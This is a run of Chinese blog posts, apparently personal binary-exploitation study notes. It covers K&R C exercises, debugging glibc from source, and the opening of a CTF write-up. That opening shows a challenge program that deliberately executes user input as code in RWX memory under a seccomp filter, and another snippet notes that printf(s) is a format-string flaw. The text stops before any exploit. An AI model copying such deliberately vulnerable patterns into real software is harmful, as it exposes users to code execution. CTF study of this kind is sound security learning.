<fcntl.h>#include <sys/types.h>#include <sys/stat.h>#include <stdlib.h>#include <unistd.h>#include <sys/dir.h>#define MAX_PATH 1024void dirwalk(char *dir,void (*fcn)(char *)){ char name[MAX_PATH]; struct dirent *dp; DIR *dfd; if ((dfd = opendir(dir)) == NULL) { fprintf(stderr,"dirwalk: can't open %s\n",dir); return; } //printf("here\n"); while ((dp = readdir(dfd)) != NULL){ //printf("dp->name:%s",dp->d_name); if (strcmp(dp->d_name,".") ==0 || strcmp(dp->d_name,"..")==0) continue; //跳过自身和父目录 if (strlen(dir)+strlen(dp->d_name)+2 > sizeof(name)) fprintf(stderr,"dirwalk: name %s/%s too long\n",dir,dp->d_name); else{ sprintf(name,"%s/%s",dir,dp->d_name); (*fcn)(name); } } closedir(dfd);}void fsize(char *name){ struct stat stbuf; if (stat(name,&stbuf) == -1) { fprintf(stderr,"fsize: can't access %s\n",name); } if ((stbuf.st_mode & S_IFMT) == S_IFDIR) { //printf("is a dir\n"); dirwalk(name, fsize); } printf("%8ld %s\n",stbuf.st_size,name);}int main(int argc, char **argv){ if (argc == 1) fsize("."); else while(--argc > 0) fsize(*++argv); return 0;} 其实那些opendir函数等都不需要自己实现(不过从练习的角度讲,可以自己实现) , 自己实现的话,记得要根据操作系统的情况, 把对应的结构体都修改了,否则就会出问题 https://github.com/Heatwave/The-C-Programming-Language-2nd-Edition/tree/master/chapter-8-the-unix-system-interface https://www.learntosolveit.com/cprogramming/chapter8/ex_8.5_fsize niubi: https://stackoverflow.com/questions/7381000/what-is-wrong-with-this-example-from-kr 8.7 存储分配程序实例内存抽象成块的组织形式,以链表的形式进行组织,每个块都含有一个长度、指向下一个块的指针以及一个指向自身数据存储位置的指针. 1234567891011typedef long Align; //按照long类型的边界对齐union header{ //内存块的头部信息 struct { union header *ptr; // 空闲块链表中的下一块 unsigned size; // 当前块的大小 } s; Align x; //强制块的对齐 (效果就是8字节对齐,计算机中对齐通常取决于包含的最大基本数据类型的大小};typedef union header Header; malloc时, ,找到的块太大的话,把尾部返回给用户,这样,初始块的头部只需要修改size就可以了 free时,寻找的首先是这样的情况, bp > p && bp < p->s.ptr 如果不符合,看是否符合这种情况,即被释放的块在链表的开头或者末尾最终代码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105#include <stddef.h>#include <string.h>typedef long Align; //按照long类型的边界对齐union header{ //内存块的头部信息 struct { union header *ptr; // 空闲块链表中的下一块 unsigned size; // 当前块的大小 } s; Align x; //强制块的对齐 (效果就是8字节对齐,计算机中对齐通常取决于包含的最大基本数据类型的大小};typedef union header Header;static Header base; //从空链表开始?static Header *freep = NULL; //空闲链表的初始指针void *malloc(unsigned nbytes){ Header *p,*prevp; Header *morecore(unsigned); unsigned nunits; nunits = (nbytes+sizeof(Header)-1)/sizeof(Header)+1;// +1是那个Align x? if ((prevp=freep) == NULL){ //没有空闲链表 base.s.ptr = freep = prevp = &base; base.s.size= 0; } for(p = prevp->s.ptr; ;prevp=p,p = p->s.ptr){ if(p->s.size > nunits){//足够大 if (p->s.size == nunits) //正好 prevp->s.ptr = p->s.ptr; //从链表中卸下p else{ //大了,分配剩下的 p->s.size = p->s.size - nunits; //剩下的大小 p += p->s.size; //p移动到了分配的那里 p ->s.size = nunits;//p的大小改成了分配的大小,(那之前的呢?) // 逻辑是这样,找到的块太大的话,把尾部返回给用户, //这样,初始块的头部只需要修改size就可以了 } freep = prevp; return (void *)(p+1);//返回数据部分的指针 } if (p == freep) //闭环的空闲链表 if ((p = morecore(nunits)) == NULL) return NULL; //没有剩余的存储空间了 }}void free(void *ap){ Header *bp, *p; bp = (Header *)ap - 1; //指向块头 for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; //被释放的块在链表的开头或者末尾 if( bp + bp->s.size == p->s.ptr){ //与前面相邻块合并 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; //串进链表里 if(p + p->s.size == bp){ //与后面的堆块合并 p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; //这一句是不是没必要呢?? 有必要的,如果上一次和前面的合并了 //这里也可能出现再次合并, 这里需要修改指针的 } else p->s.ptr = bp; freep = p;}#define NALLOC 1024Header *morecore(unsigned nu){ char *cp, *sbrk(int); Header *up; if (nu < NALLOC) nu = NALLOC; cp = sbrk(nu * sizeof(Header)); if (cp == (char *) -1) return NULL; up = (Header *) cp; up->s.size = nu; free((void * )(up+1)); return freep;}void main(){ char *str1; char *str2; str1 = malloc(0x20); strcpy(str1, "hello"); str2 = malloc(0x30); strcpy(str2, "tang");}

pwn入门-46-glibc源码调试

发表于2023-11-06|更新于2023-11-06|PWN|PWN入门

有时候需要看库函数哪里出问题了,有源码调试的话,看起来会更直观和方便 glibc源代码调试开启gdb后 dir xxxx目录即可但dir命令加载源码只能指定单个目录或文件,在gdb启动的时候用这个命令来加载glibc源码进去就好了 1gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out 当前机器版本libc 安装带调试版本libc 12apt install libc6-dbg apt install libc6-dbg:i386 下载对应的源代码 1231. 修改/etc/apt/sources.list 开启deb-src (不知道是不是都要开)2. apt update3. apt source libc6-dev 注意第三步会在当前目录进行下载调试的时候进行指定即可: gdb -q ./pwn -d /xxx/xxx/glibc-2.31/ 不同版本glibc下载与编译官方下载与编译https://ftp.gnu.org/gnu/glibc/ 123456git clone git://sourceware.org/git/glibc.git && cd glibcgit checkout glibc-2.31mkdir build && cd build../configure --prefix=/usr/local/glibc-2.31-debug --enable-debug=yesmake -j16make install # 这时候/usr/local/glibc-2.31-debug/就有文件了包含库文件和头文件查看当前分支: git branch 查看有哪些分支: git branch -a 指定编译好的库进行文件编译 –rpath指定共享库路径 -I指定动态链接器就可以用指定的libc来编译代码了, 这样的话, 也会很自然就有glibc的源代码可以调试了 1gcc -L/usr/local/glibc-2.31-debug/lib -Wl,--rpath=/usr/local/glibc-2.31-debug/lib -Wl,-I/usr/local/glibc-2.31-debug/lib/ld-2.31.so hello.c -o hello 为什么不用加 -g了? (需要的,如果要看hello.c的源代码的话) 但是用glibcallinone下载的不行..有问题, 那是因为它只有编译好的库,没有头文件之类的吧? glibc-all-in-one工具这里是编译好的,一般都是带符号的,但是如果需要源代码调试还是需要下载源码并加载进gdb里面进行调试 https://blog.csdn.net/csdn546229768/article/details/122691241 如果网站里没有的话,就修改download源代码, 换个source看看,google精准搜索搜索一下 debug信息符号文件在哪呢, 被编译进程序里了吧,我记得之前有单独的符号文件的 ls -al /usr/lib/debug/.build-id/这里有 12345678drwxr-xr-x 2 root root 4096 7月 27 10:48 .drwxr-xr-x 236 root root 4096 7月 27 10:48 ..-rw-r--r-- 1 root root 23496 4月 7 2022 329f3d85e153a01672b77b853beda0faf0dee6.debug-rw-r--r-- 1 root root 20104 4月 7 2022 9f5043bbf7cfbf4dfd27684d9c3cbcbb835bd9.debug-rw-r--r-- 1 root root 19468 4月 7 2022 b0728b23be4032704a004d8066a268c4b6924a.debug-rw-r--r-- 1 root root 20052 4月 7 2022 bbb582f3d2cd3464764682f1937b4e3d9c2641.debug-rw-r--r-- 1 root root 22200 4月 7 2022 c4ae3a65bc87ea96986b3b2441e892c8a433f0.debug-rw-r--r-- 1 root root 22168 4月 7 2022 cd9124f765fe93560701d55d5c61c37be4657a.debug 但是glibcallinone里没找到这个呀… 他们之间是什么关系呢? libc编译案例做一道题需要23版本的libc,用ubuntu20编译的有问题..换18试试 (也有很多报错, 难道得换debian?) source是源码,右边是编译好的,但是没有符号信息难道版本不对? 这个source看起来是没有什么问题的,下载后看了下源码文件 https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu11 http://launchpadlibrarian.net/409875491/libc6_2.23-0ubuntu11_amd64.deb 1234mkdir build && cd build../configure --prefix=/usr/local/glibc-2.23-debug --enable-debug=yesmake -j16make install # 这时候/usr/local/glibc-2.23-debug/就有文件了包含库文件和头文件罢了……..还是报错….处理不了……..(回头试试16, 或者说还是得换debian? 不纠结这个编译问题了…) 转机https://launchpad.net/ubuntu/xenial/amd64/libc6-dbg/2.23-0ubuntu11 嘶,用了一下还是不太行不过实际做题也未必要一模一样的环境,反正给了libc,可以从里面找偏移报错处理之前报错说要加–disable-werror, 但是好像也没啥用, ../configure –disable-werror –prefix=/usr/local/glibc-2.23 –enable-debug=yes 12error: argument 1 of type ‘struct __jmp_buf_tag *’ declared as a pointer [-Werror=array-parameter=] 743 | extern int __sigsetjmp (struct __jmp_buf_tag *__env, https://stackoverflow.com/questions/76079071/when-i-compile-glibc-2-28-with-the-make-command-on-centos-7-5-i-got-the-error-l make[1]: *** [Makefile:214: stdio-common/subdir_lib] Error https://www.cnblogs.com/zq10/p/14314952.html https://gist.github.com/stefan1wan/5e4b3973aae578ac39f94d30a5555f19 make[2]: *** No rule to make target ‘../manual/errno.texi’, needed by ‘../sysdeps/gnu/errlist.c’. Stop Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL’ failed! 问: 这里有现成的libc可以用,但是没有符号文件, 符号和源代码又是两回事吧答: 是的,两回事问: 没有符号咋办, 只能进行编译吗.. 答: 我记得之前做海大ctf,ida可以导入符号文件,网上有编译好的符号文件,这个网站上也有symbol, 但是不全问: gcc直接用这里的库编译会有问题,需要install? 问: 如何编译符号文件呢调试案例printf的调用路径12345#include <stdio.h>void main(){ printf("hello,%s\n","world"); //防止优化为puts} 调试, bt追踪栈 1234#0 0x00007ffff7e5ca69 in __printf (format=0x55555555600a "hello,%s\n") at printf.c:28#1 0x0000555555555169 in main ()#2 0x00007ffff7e2d013 in __libc_start_main (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe5a8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe598) at ../csu/libc-start.c:308#3 0x000055555555508e in _start () 会发现进入的是__printf函数,为什么不是printf函数呢? 需要看libc源代码进到这里是因为ldbl_strong_alias (__printf, printf); 将printf和 _ _ printf进入了的函数统一为 _ _printf stdio-common/printf.c 1234567891011121314151617181920212223242526#include <libioP.h>#include <stdarg.h>#include <stdio.h>#undef printf/* Write formatted output to stdout from the format string FORMAT. *//* VARARGS1 */int__printf (const char *format, ...){ va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done;}#undef _IO_printfldbl_strong_alias (__printf, printf);/* This is for libg++. */ldbl_strong_alias (__printf, _IO_printf); __printf又主要调用了vfprintf函数,在stdio-common/vfprintf.c中, 这个函数有点长函数完整加载过程恩….比较复杂..有时间专门学习下.. 原文地址: http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html 翻译: https://zhuanlan.zhihu.com/p/52054044 https://zhuanlan.zhihu.com/p/521205296 其他参考: https://xuanxuanblingbling.github.io/ctf/pwn/2021/12/12/csu/ 程序员的自我修养里面也有 _start1234567891011121314150000000000001060 <_start>: 1060: f3 0f 1e fa endbr64 1064: 31 ed xor %ebp,%ebp 1066: 49 89 d1 mov %rdx,%r9 1069: 5e pop %rsi 106a: 48 89 e2 mov %rsp,%rdx 106d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp 1071: 50 push %rax 1072: 54 push %rsp 1073: 4c 8d 05 66 01 00 00 lea 0x166(%rip),%r8 # 11e0 <__libc_csu_fini> 107a: 48 8d 0d ef 00 00 00 lea 0xef(%rip),%rcx # 1170 <__libc_csu_init> 1081: 48 8d 3d c1 00 00 00 lea 0xc1(%rip),%rdi # 1149 <main> 1088: ff 15 52 2f 00 00 callq *0x2f52(%rip) # 3fe0 <__libc_start_main@GLIBC_2.2.5> 108e: f4 hlt 108f: 90 nop __libc_start_mainstarti可以从最开始启动时下断点可以慢慢地去一探究竟程序的过程了！ https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html 它会处理执行环境的初始化工作, 然后调用main函数, 并且处理main函数的返回, 它可能干的事如下 performing any necessary security checks if the effective user ID is not the same as the real user ID. initialize the threading subsystem. registering the *rtld_fini* to release resources when this dynamic shared object exits (or is unloaded). registering the *fini* handler to run at program exit. calling the initializer function (**init*)(). calling main() with appropriate arguments. calling exit() with the return value from main(). 参考https://xuanxuanblingbling.github.io/ctf/tools/2020/03/20/gdb/ [原创]关于不同版本 glibc 更换的一些问题: https://bbs.kanxue.com/thread-254868.htm https://gist.github.com/stefan1wan/5e4b3973aae578ac39f94d30a5555f19 问答有无符号的区别在哪呢….蒙圈了函数、变量符号有符号的话是可以看到定义的那些变量、函数等,但是不知道行数、具体的代码符号文件在哪? deb如何解包 dpkx -x xxxxx.deb ./ debug文件为什么会有单独的,为什么glibcallinone里的不用呢

c语言回炉重造-结构-输入与输出

发表于2023-10-31|更新于2023-10-31|编程基础|C语言

第六章结构结构还是很重要的,在编写大型程序的时候,或者平常看源代码,会看到非常多的结构体 6.1 结构的基本知识在写这个程序的时候遇到了很奇怪的问题,dist = sqrt(4.0);不会报错,但是dist = sqrt(a);就会报错,百思不得其解. 12345678910111213141516171819202122232425262728#include <stdio.h>#include <math.h>void main(){ struct point { int x; int y; }; struct point maxpt = {320,200}; printf("length: %d, width: %d\n",maxpt.x,maxpt.y); double dist; printf("%f\n",(double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y); dist = sqrt(4.0); double test = (double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y; double a = 4.0; dist = sqrt(a); //dist = sqrt(test); //dist = sqrt( (double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y ); //printf("%f\n",(double)maxpt.x * maxpt.x + (double)maxpt.y * maxpt.y); //dist = sqrt(4.0); printf("duijiaoxian: %f\n",dist);} 神奇的gpt,所以是编译优化的事, 优化过后不用这个函数了,所以好像是显得没有问题一样,可以用gdb调试,会发现这里根本没有调用函数 123► 0x5555555551b5 <main+108> movsd xmm0, qword ptr [rip + 0xe7b] 0x5555555551bd <main+116> movsd qword ptr [rbp - 0x20], xmm0 0x5555555551c2 <main+121> mov eax, dword ptr [rbp - 8] 链接上就好了 gcc main.c -lm 12► 0x555555555244 <main+219> call sqrt@plt <sqrt@plt> x: 0x7ffff7e5f7e0 (_IO_stdfile_1_lock) ◂— 0x0 6.2 结构与函数 12345678910111213141516171819202122232425262728293031323334353637383940414243#include <stdio.h>#include <math.h>struct point { int x; int y; };// 矩形struct rect { struct point pt1; struct point pt2;};struct point makepoint(int x,int y){ struct point temp; temp.x = x; temp.y = y; return temp;};void main(){ struct rect screen; struct point middle; struct point makepoint(int,int); int XMAX, YMAX; XMAX = YMAX = 0; screen.pt1 = makepoint(100,100); screen.pt2 = makepoint(XMAX,YMAX); middle = makepoint((screen.pt1.x + screen.pt2.x)/2, (screen.pt1.y+screen.pt2.y)/2); printf("middle's x= %d, middle's y = %d\n",middle.x,middle.y);} 6.3 结构数组需要注意各种定义的先后顺序 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114#include <stdio.h>#include <ctype.h>#include <string.h>#define MAXWORD 100struct key{ char *word; int count;} keytab[] = { "auto",0, "break",0, "case",0, "char",0, "const",0, "continue",0, "default",0, "unsigned",0, "void",0, "volatile",0, "while",0};//如何定义查找的结构体的长度呢?//#define NKEYS (sizeof keytab / sizeof(struct key))// 下面这种更好,即使类型改变了,也不需要改动程序#define NKEYS (sizeof keytab / sizeof keytab[0])int getword(char *,int);int binsearch(char *, struct key *,int);int main(){ int n; char word[MAXWORD]; while (getword(word,MAXWORD) != EOF) if (isalpha(word[0])) if((n = binsearch(word, keytab, NKEYS)) >= 0) keytab[n].count++; printf("test\n"); printf("%d\n",NKEYS); for(n=0; n < NKEYS;n++) if(keytab[n].count >0) printf("%4d %s\n",keytab[n].count, keytab[n].word); return 0;}// 折半查找函数、在tab[0]<=tab[1]<=tab[2]<=....tab[n-1]中查找word// 如果在这里面判断是否到结尾的话,是不是有可能判断是否,比如有脏数据这种?int binsearch(char *word,struct key tab[],int n){ int cond; int low,high,mid; low = 0; high = n-1; while(low <= high) { mid = (low + high)/2; if ((cond = strcmp(word,tab[mid].word)) < 0) high = mid - 1; else if(cond > 0) low = mid + 1; else return mid; } return -1; //没有匹配的值}//从输入中读取下一个单词或字符int getword(char *word, int lim){ int c,getch(void); void ungetch(int); char *w = word; while (isspace(c = getch())) ; if (c!=EOF) *w++ = c; if(!isalpha(c)){ //说明是单个字符, *w = '\0'; return c; } for(; --lim >0; w++) if(!isalnum(*w=getch())){ ungetch(*w); break; } *w = '\0'; return word[0];//为啥要这样呢????, 为什么不是word呢, 看返回值类型,不是返回一个指针}#define BUFSIZE 100char buf[BUFSIZE];int bufp = 0;int getch(void){ return (bufp > 0)? buf[--bufp] : getchar();}void ungetch(int c){ if (bufp >= BUFSIZE) printf("ungetch: too many characters\n"); else buf[bufp++] = c;} <ctype.h>中 isspace 判断是否是空白符号, isalpha判断是否是字母,isalnum判断是否是数字或字母标准的空白字符 123456' ' (0x20) space (SPC) 空格符'\t' (0x09) horizontal tab (TAB) 水平制表符 '\n' (0x0a) newline (LF) 换行符'\v' (0x0b) vertical tab (VT) 垂直制表符'\f' (0x0c) feed (FF) 换页符'\r' (0x0d) carriage return (CR) 回车符 ctrl+d获取EOF结束输入 6.4 指向结构的指针123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115#include <stdio.h>#include <ctype.h>#include <string.h>#define MAXWORD 100struct key{ char *word; int count;} keytab[] = { "auto",0, "break",0, "case",0, "char",0, "const",0, "continue",0, "default",0, "unsigned",0, "void",0, "volatile",0, "while",0};//如何定义查找的结构体的长度呢?//#define NKEYS (sizeof keytab / sizeof(struct key))// 下面这种更好,即使类型改变了,也不需要改动程序#define NKEYS (sizeof keytab / sizeof keytab[0])int getword(char *,int);struct key *binsearch(char *, struct key *,int);int main(){ char word[MAXWORD]; struct key *p; while (getword(word,MAXWORD) != EOF) if (isalpha(word[0])) if((p = binsearch(word, keytab, NKEYS)) != NULL) p->count++; for(p = keytab; p < keytab + NKEYS;p++) if(p->count >0) printf("%4d %s\n",p->count, p->word); return 0;}// 折半查找函数、在tab[0]<=tab[1]<=tab[2]<=....tab[n-1]中查找word//这种函数风格可以较好的看出类型来struct key *binsearch(char *word,struct key *tab,int n){ int cond; struct key *low = &tab[0]; struct key *high = &tab[n]; struct key *mid; while(low < high) { mid = low + (high-low)/2; if ((cond = strcmp(word,mid->word)) < 0) high = mid; else if(cond > 0) low = mid + 1; else return mid; } return NULL; //没有匹配的值}//从输入中读取下一个单词或字符int getword(char *word, int lim){ int c,getch(void); void ungetch(int); char *w = word; while (isspace(c = getch())) ; if (c!=EOF) *w++ = c; if(!isalpha(c)){ //说明是单个字符, *w = '\0'; return c; } for(; --lim >0; w++) if(!isalnum(*w=getch())){ ungetch(*w); break; } *w = '\0'; return word[0];//为啥要这样呢????, 为什么不是word呢,}#define BUFSIZE 100char buf[BUFSIZE];int bufp = 0;int getch(void){ return (bufp > 0)? buf[--bufp] : getchar();}void ungetch(int c){ if (bufp >= BUFSIZE) printf("ungetch: too many characters\n"); else buf[bufp++] = c;} 6.5 自引用结构用二叉树来存储 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125#include <stdio.h>#include <ctype.h>#include <string.h>#define MAXWORD 100struct tnode *addtree(struct tnode *p, char *w);void treeprint(struct tnode *p);struct tnode *talloc(void);char *strdup1(char *s);int getword(char *word, int lim);struct tnode{ char *word; int count; struct tnode *left; struct tnode *right;};int main(){ struct tnode *root; char word[MAXWORD]; root = NULL; while(getword(word,MAXWORD)!=EOF) if(isalpha(word[0])) root = addtree(root,word); treeprint(root); return 0;}struct tnode *talloc(void);struct tnode *addtree(struct tnode *p, char *w){ int cond; if (p == NULL) { p = talloc();//创建一个新节点 p->word = strdup1(w); p->count = 1; p->left = p->right = NULL; }else if ((cond = strcmp(w,p->word)) == 0 ) p->count++; else if(cond < 0) p->left = addtree(p->left,w); else p->right=addtree(p->right,w); return p;}//按顺序打印二叉树pvoid treeprint(struct tnode *p){ if (p!=NULL) { treeprint(p->left); printf("%4d %s\n",p->count,p->word); treeprint(p->right); }}#include <stdlib.h>//创建一个tnode//用sizeof计算大小更准确,考虑到对齐等struct tnode *talloc(void){ return (struct tnode *) malloc(sizeof(struct tnode));}char *strdup1(char *s){ char *p; p = (char *) malloc(strlen(s)+1);//+1是因为结尾要加\0 if (p != NULL) strcpy(p,s); return p;}//从输入中读取下一个单词或字符int getword(char *word, int lim){ int c,getch(void); void ungetch(int); char *w = word; while (isspace(c = getch())) ; if (c!=EOF) *w++ = c; if(!isalpha(c)){ //说明是单个字符, *w = '\0'; return c; } for(; --lim >0; w++) if(!isalnum(*w=getch())){ ungetch(*w); break; } *w = '\0'; return word[0];//为啥要这样呢????, 为什么不是word呢,}#define BUFSIZE 100char buf[BUFSIZE];int bufp = 0;int getch(void){ return (bufp > 0)? buf[--bufp] : getchar();}void ungetch(int c){ if (bufp >= BUFSIZE) printf("ungetch: too many characters\n"); else buf[bufp++] = c;} 6.6 表查找之前学过的,用散列等方法,进行查表 123456789struct nlist{ //链表项 struct nlist *next; //链表中下一个表项 char *name; //定义的名字 char *defn; //替换文本};#define HASHSIZE 101static struct nlist *hashtab[HASHSIZE]; //指针表散列函数 123456789// hash函数, 为字符串s生成散列值unsigned hash(char *s){ unsigned hashval; for(hashval=0; *s !='\0';s++) hashval = *s + 31* hashval; //数字的相加 return hashval % HASHSIZE:} 查找函数 12345678struct nlist *lookup(char *s){ struct nlist *np; for (np = hashtab[hash(s)]; np != NULL; np = np->next) if (strcmp(s, np->name) == 0) return np; return NULL;} 加入函数 123456789101112131415161718192021struct nlist *lookup(char *s);char *strdup(char *);struct nlist *install(char *name, char *defn){ struct nlist *np; unsigned hashval; if((np = lookup(name)) == NULL){//未找到 np = (struct nlist *) malloc(sizeof(*np)); if (np == NULL || (np->name = strdup(name)) == NULL) return NULL; hashval = hash(name); np->next = hashtab[hashval]; //头插, hashtab[hashval] = np; }else free((void *)np->defn) if((np->defn = strdup(defn)) == NULL) return NULL return np;} 整合 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596#include <stdio.h>#include <string.h>#include <stdlib.h>struct nlist{ //链表项 struct nlist *next; //链表中下一个表项 char *name; //定义的名字 char *defn; //替换文本};#define HASHSIZE 101static struct nlist *hashtab[HASHSIZE]; //指针表struct nlist *lookup(char *s);char *strdup1(char *);unsigned hash(char *s);struct nlist *install(char *name, char *defn);int main(){ printf("1.add\n"); char *name,*defn; name = (char *)malloc(100); defn = (char *)malloc(100); if (name == NULL || defn == NULL){ printf("内存分配失败\n"); return 1; } while(1){ printf("请输入名字和替换的名字"); scanf("%s %s",name,defn);//这直接用是不对的,需要分配内存 install(name,defn); } free(name); free(defn); return 0; }// hash函数, 为字符串s生成散列值unsigned hash(char *s){ unsigned hashval; for(hashval=0; *s !='\0';s++) hashval = *s + 31* hashval; //数字的相加 return hashval % HASHSIZE;}struct nlist *lookup(char *s){ struct nlist *np; for (np = hashtab[hash(s)]; np != NULL; np = np->next) if (strcmp(s, np->name) == 0) return np; return NULL;}struct nlist *install(char *name, char *defn){ struct nlist *np; unsigned hashval; if((np = lookup(name)) == NULL){//未找到 np = (struct nlist *) malloc(sizeof(*np)); if (np == NULL || (np->name = strdup(name)) == NULL) return NULL; hashval = hash(name); np->next = hashtab[hashval]; //头插, hashtab[hashval] = np; }else free((void *) np->defn); if((np->defn = strdup1(defn)) == NULL) return NULL; return np;}char *strdup1(char *s){ char *p; p = (char *) malloc(strlen(s)+1);//+1是因为结尾要加\0 if (p != NULL) strcpy(p,s); return p;} 6.7 6.8 类型定义(typedef)、位字段第七章输入与输出7.1 标准输入输出12345678910111213//用于将输入转换为小写字母的形式#include <stdio.h>#include <ctype.h>int main(){ int c; while ((c = getchar()) != EOF) putchar(tolower(c)); return 0;} 7.2 格式化输出 printf函数123456789#include <stdio.h>int main(){ char *s = "hello,lihua"; printf(s); //格式化字符串漏洞不就是这么来的嘛... printf("\n"); printf("%s\n",s);} 7.3 变长参数表1234567891011121314151617181920212223242526272829303132333435363738394041#include <stdarg.h>void minprintf(char *fmt, ...){ va_list ap; char *p, *sval; int ival; double dval; va_start(ap, fmt); for (p= fmt; *p; p++) { if( *p!='%'){ //为啥只取一个字符呢 putchar(*p); continue; } switch(*++p){ case 'd': ival = va_arg(ap,int); printf("%d", ival); break; case 'f': dval = va_arg(ap, double); printf("%f",dval); break; case 's': for (sval = va_arg(ap, char *); *sval; sval++) putchar(*sval); break; default: putchar(*p); break; } } va_end(ap);}int main(){ minprintf("hello,wolrd:%d,%s\n",1,"ooo");} 7.4 格式化输入 scanf函数1234567891011#include <stdio.h>int main(){ double sum, v; sum = 0 ; while( scanf("%lf", &v) == 1) printf("\t%.2f\n",sum+=v); return 0;} 12345678910#include <stdio.h>int main(){ int day,month,year; scanf("%d/%d/%d",&month,&day,&year); printf("%d年%d月%d日\n",year,month,day); return 0;} 7.5 文件访问这里和pwn的iofile关系很大 1234567891011121314151617181920212223242526#include <stdio.h>int main(int argc, char *argv[]){ FILE *fp; void filecopy(FILE *, FILE *); if (argc == 1) filecopy(stdin,stdout); //没有命令行参数、复制标准输入 else while(--argc > 0) if((fp = fopen(*++argv,"r")) == NULL){ printf("cat: can't open %s\n",*argv); return 1; }else{ filecopy(fp,stdout); fclose(fp); } return 0;}// 将文件ifp复制到文件ofpvoid filecopy(FILE *ifp,FILE *ofp){ int c; while( (c = getc(ifp))!=EOF) putc(c,ofp);} gdb调试一下 , 可以结合之前看的open什么的那个链来学习一下 7.6 错误处理增加了stderr 123456789101112131415161718192021222324252627282930313233#include <stdio.h>#include <stdlib.h> // exit函数int main(int argc, char *argv[]){ FILE *fp; void filecopy(FILE *, FILE *); char *prog = argv[0]; if (argc == 1) filecopy(stdin,stdout); else while(--argc > 0) if((fp = fopen(*++argv,"r")) == NULL){ fprintf(stderr," %s: can't open %s\n",prog,*argv); exit(1); }else{ filecopy(fp,stdout); fclose(fp); } if (ferror(stdout)) { fprintf(stderr,"%s: error writing stdout\n", prog); exit(2); } exit(0);}// 将文件ifp复制到文件ofpvoid filecopy(FILE *ifp,FILE *ofp){ int c; while( (c = getc(ifp))!=EOF) putc(c,ofp);} 7.7 行输入和行输出7.8 特别有用的函数(更详细的在附录b中)EOF与空白符号的区别这是空白符号, EOF是-1 123456' ' (0x20) space (SPC) 空格符'\t' (0x09) horizontal tab (TAB) 水平制表符 '\n' (0x0a) newline (LF) 换行符'\v' (0x0b) vertical tab (VT) 垂直制表符'\f' (0x0c) feed (FF) 换页符'\r' (0x0d) carriage return (CR) 回车符 12345678910111213141516171819#include <stdio.h>#include <stdlib.h>int main(){ FILE *fp; int c; fp = fopen("./flag","r"); //write(1,fp,20); while(1) { c = fgetc(fp); if(feof(fp)) break; printf("%c",c); } fclose(fp); return 0;}

pwn入门-45-10月月赛两题

发表于2023-10-30|更新于2023-11-16|PWN|PWN入门

题目文件: 本链接+./sorted ./ezpwn 总结下来就是基础太不牢固了，很多小点都不清楚，浪费时间，每次遇到后都要尽量及时解决，查缺补漏。 sorted123456789101112131415161718192021222324int __cdecl main(int argc, const char **argv, const char **envp){ int i; // [rsp+0h] [rbp-10h] int j; // [rsp+4h] [rbp-Ch] void *dest; // [rsp+8h] [rbp-8h] sandbox(); puts("Just give you ten seconds before you DIE!"); dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); for ( i = 10; i > 0; --i ) { printf("%d!\n", (unsigned int)i); scanf("%d", &DIEnum[i]); } puts("Before you die,I must do something."); std::sort<int *>(&unk_203044, &unk_20306C); puts("let's see what'U have said"); for ( j = 1; j <= 10; ++j ) printf("%d\n", DIEnum[j]); puts("Hahahahahaha!Now,taste the fear"); memcpy(dest, DIEnum, 0x100uLL); ((void (*)(void))dest)(); return 0;} 12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include<bits/stdc++.h>#include<sys/prctl.h>#include<linux/seccomp.h>#include<linux/filter.h>#include<unistd.h>#include <sys/mman.h>int DIEnum[20];void sandbox(){ struct sock_filter filter[] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2), BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);}int main(){ sandbox(); puts("Just give you ten seconds before you DIE!"); char* v1=(char *)mmap(0,0x1000,7,34,-1,0ll); for(int i=10;i>=1;--i){ printf("%d!\n",i); scanf("%d",&DIEnum[i]); } puts("Before you die,I must do something."); std::sort(DIEnum+1,DIEnum+11); puts("let's see what'U have said"); for(int i=1;i<=10;++i){ printf("%d\n",DIEnum[i]); } puts("Hahahahahaha!Now,taste the fear"); memcpy(v1,DIEnum,0x100); ((void (*) (void)) v1)(); return 0;} 